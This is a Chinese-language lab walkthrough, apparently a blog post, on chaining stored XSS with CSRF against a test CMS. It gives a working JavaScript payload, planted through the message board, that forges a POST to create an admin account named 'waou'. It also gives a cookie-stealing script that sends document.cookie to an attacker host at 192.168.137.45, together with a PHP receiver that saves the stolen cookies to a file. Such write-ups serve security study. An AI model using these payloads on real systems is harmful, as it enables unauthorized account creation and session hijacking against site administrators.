Bootstrap

csrf+xss组合拳

csrf+xss组合拳

一、环境搭建

靶场cms文章管理系统

二、流程开始

这是系统前端

系统管理后台

而我们要打到后台管理员的cookie,结合前端存储型的xss完全可以实现,那后端怎么被打到cookie呢,我们来从这里添加用户开始分析数据包来说明

看看数据包。其中提交的字段是act=add(添加),username、password

那我们通过编写恶意js

<script>
var xmlhttp = new XMLHttpRequest(); 
xmlhttp.open("POST", "http://192.168.137.45/cms/cms/admin/user.action.php", false); 
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
xmlhttp.send("act=add&username=waou&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0"); 
</script>

寻找前端存储型xss,在这里留言板

去后台查看很明显插入了

我们把我书写的恶意js插入进去,这段恶意js创建的是waou用户,插入看看吧

插入成功

看看结果waou是否被创建

成功,不一定添加管理员,也可以盗取cookie,这个漏洞的最大问题还是存储型漏洞,这个框架也没用csrf防御的tokle值,所以导致管理员点击后直接创建新管理员

盗取cookie:

<script>
    var cookie = document.cookie;
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://192.168.137.45/ceshi/cookie.php?cookie=" + encodeURIComponent(cookie), true);
    xhr.send();
</script>

攻击机192.168.137.45接收

<?php
if (isset($_GET['cookie'])) {
    $cookie = $_GET['cookie'];
    $file = 'cookie.txt';
    if (file_put_contents($file, $cookie) !== false) {
        echo "Cookie has been saved to cookie.txt";
    } else {
        echo "Failed to save cookie.";
    }
} else {
    echo "No cookie received.";
}
?>

访问之后可以看到cookie已经被盗取

;